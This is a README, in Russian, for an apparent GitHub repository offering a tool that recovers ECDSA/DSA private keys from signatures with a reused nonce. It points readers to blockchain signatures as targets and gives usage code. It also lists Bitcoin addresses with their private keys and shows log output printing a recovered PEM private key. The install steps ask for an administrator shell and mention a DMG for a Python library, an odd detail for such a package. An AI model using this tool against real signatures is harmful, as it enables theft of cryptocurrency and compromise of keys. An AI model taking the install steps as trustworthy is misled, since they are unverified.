yadyvazifeh1oz92/ecdsa-private-key-recoveryВыполняйте атаки восстановления закрытого ключа при повторном использовании nonce в ECDSA и DSA для анализа уязвимостей подписей и восстановления закрытых ключей из блокчейн-подписей.
Выполнение атак восстановления закрытого ключа при повторном использовании nonce в ECDSA и DSA
Криптографический исследовательский инструмент для анализа уязвимостей подписей
Давайте восстановим закрытый ключ для двух подписей, использующих один и тот же nonce k. Обратите внимание, что выбор одного и того же nonce k приводит к тому, что обе подписи имеют одинаковое значение подписи r. Чтобы найти хороших кандидатов для проверки повторного использования nonce в ECDSA, ищите подписи с одинаковым r, pubkey на curve для разных сообщений (или хэшей). Например, блокчейн-проекты на основе bitcoind обычно являются хорошими источниками материала для ECDSA-подписей.
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.
# recover the private key
sampleA.recover_nonce_reuse(sampleB) # populates sampleA with the recovered private key ready for use
print sampleA.privkey
Следующие инструкции предназначены для Windows и Linux; пользователи macOS могут воспользоваться DMG-файлом.
Убедитесь, что Git и Python установлены в вашей системе.
Скачайте Git для Windows:
https://git-scm.com/install/windows
Скачайте Python для Windows (напрямую):
https://www.python.org/ftp/python/3.13.12/python-3.13.12-amd64.exe
Наконец, запустите cmd от имени администратора.
git clone https://github.com/yadyvazifeh1oz92/ecdsa-private-key-recovery.git
cd ecdsa-private-key-recovery
py -m pip install -r requirements.txt
py setup.py install
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC Address | Base58 Privkey | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
создание объектов подписей, подлежащих восстановлению:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# specify curve
curve = ecdsa.SECP256k1
# create standard ecdsa pubkey object from hex-encoded string
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# create sampleA and sampleB recoverable signature objects.
# long r, long s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# key not yet recovered
assert (sampleA.x is None)
восстановление закрытого ключа для sampleA
# attempt to recover key - this updated object sampleA
sampleA.recover_nonce_reuse(sampleB) # recover privatekey shared with sampleB
assert (sampleA.x is not None) # assert privkey recovery succeeded. This gives us a ready to use ECDSA privkey object
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - recovering private-key from nonce reuse ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Private key recovered!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----